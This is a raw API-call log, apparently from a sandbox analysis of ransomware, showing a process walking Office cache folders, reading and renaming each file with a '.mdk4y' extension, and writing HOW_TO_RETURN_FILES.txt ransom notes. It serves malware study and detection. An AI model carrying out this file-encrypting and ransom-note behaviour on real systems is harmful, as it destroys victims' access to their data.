lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815340700000) returned 1 [0078.177] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.mdk4y")) returned 1 [0078.178] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.178] AreFileApisANSI () returned 1 [0078.178] GetACP () returned 0x4e4 [0078.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlI.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0078.178] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815340800000) returned 1 [0078.179] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x106f, lpOverlapped=0x0) returned 1 [0078.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815344800000) returned 1 [0078.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815344800000) returned 1 [0078.218] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0078.219] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0078.219] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0078.219] AreFileApisANSI () returned 1 [0078.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0078.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0078.220] GetFileType (hFile=0x128) returned 0x1 [0078.221] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0078.221] AreFileApisANSI () returned 1 [0078.221] GetACP () returned 0x4e4 [0078.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-001B-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-001B-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0078.221] AreFileApisANSI () returned 1 [0078.221] GetACP () returned 0x4e4 [0078.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\jk") returned 63 [0078.221] AreFileApisANSI () returned 1 [0078.221] GetACP () returned 0x4e4 [0078.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.222] AreFileApisANSI () returned 1 [0078.222] GetACP () returned 0x4e4 [0078.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0078.222] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.222] AreFileApisANSI () returned 1 [0078.222] GetACP () returned 0x4e4 [0078.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml00-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 9 [0078.222] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815345200000) returned 1 [0078.222] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x978, lpOverlapped=0x0) returned 1 [0078.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815351000000) returned 1 [0078.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815351000000) returned 1 [0078.280] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0078.283] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.283] AreFileApisANSI () returned 1 [0078.283] GetACP () returned 0x4e4 [0078.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="WordLR.cab0-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 10 [0078.283] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815351400000) returned 1 [0078.284] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0078.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815361700000) returned 1 [0078.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815361700000) returned 1 [0078.457] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.mdk4y")) returned 1 [0078.457] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.457] AreFileApisANSI () returned 1 [0078.457] GetACP () returned 0x4e4 [0078.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="WordMUI.msi-001A-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 11 [0078.457] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815368700000) returned 1 [0078.457] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0078.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815374800000) returned 1 [0078.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815374800000) returned 1 [0078.527] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.mdk4y")) returned 1 [0078.527] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.527] AreFileApisANSI () returned 1 [0078.527] GetACP () returned 0x4e4 [0078.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="WordMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 11 [0078.527] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815375700000) returned 1 [0078.528] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x708, lpOverlapped=0x0) returned 1 [0078.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815380600000) returned 1 [0078.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815380600000) returned 1 [0078.576] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.mdk4y")) returned 1 [0078.578] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0078.578] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0078.578] AreFileApisANSI () returned 1 [0078.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0078.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0078.578] GetFileType (hFile=0x128) returned 0x1 [0078.579] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0078.579] AreFileApisANSI () returned 1 [0078.579] GetACP () returned 0x4e4 [0078.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-002C-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-002C-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0078.579] AreFileApisANSI () returned 1 [0078.579] GetACP () returned 0x4e4 [0078.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\jm") returned 63 [0078.581] AreFileApisANSI () returned 1 [0078.581] GetACP () returned 0x4e4 [0078.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0078.581] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.581] AreFileApisANSI () returned 1 [0078.581] GetACP () returned 0x4e4 [0078.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0078.581] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.581] AreFileApisANSI () returned 1 [0078.581] GetACP () returned 0x4e4 [0078.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Proof.en000-001B-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 8 [0078.581] AreFileApisANSI () returned 1 [0078.581] GetACP () returned 0x4e4 [0078.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=72, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\\\Mȁ") returned 72 [0078.582] AreFileApisANSI () returned 1 [0078.582] GetACP () returned 0x4e4 [0078.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0078.582] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.582] AreFileApisANSI () returned 1 [0078.582] GetACP () returned 0x4e4 [0078.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..CtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0078.582] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.582] AreFileApisANSI () returned 1 [0078.582] GetACP () returned 0x4e4 [0078.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.cabOX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 9 [0078.582] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0078.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815381300000) returned 1 [0078.583] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0078.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815390200000) returned 1 [0078.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815390200000) returned 1 [0078.796] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.mdk4y")) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.797] AreFileApisANSI () returned 1 [0078.797] GetACP () returned 0x4e4 [0078.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x37df4c) returned 9 [0078.797] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0078.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815402700000) returned 1 [0078.798] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd5c00, lpOverlapped=0x0) returned 1 [0078.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815416700000) returned 1 [0078.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815416700000) returned 1 [0078.945] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.mdk4y")) returned 1 [0078.946] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.946] AreFileApisANSI () returned 1 [0078.946] GetACP () returned 0x4e4 [0078.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0078.946] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0078.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815417600000) returned 1 [0078.946] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x543, lpOverlapped=0x0) returned 1 [0078.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815421000000) returned 1 [0078.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815421000000) returned 1 [0078.980] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.mdk4y")) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 0 [0078.981] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0078.981] AreFileApisANSI () returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0078.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0078.982] GetFileType (hFile=0x12c) returned 0x1 [0078.983] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.983] AreFileApisANSI () returned 1 [0078.983] GetACP () returned 0x4e4 [0078.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.es", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Proof.es", lpUsedDefaultChar=0x37dfd8) returned 8 [0078.983] AreFileApisANSI () returned 1 [0078.983] GetACP () returned 0x4e4 [0078.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=72, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\℈i\x01") returned 72 [0078.983] AreFileApisANSI () returned 1 [0078.983] GetACP () returned 0x4e4 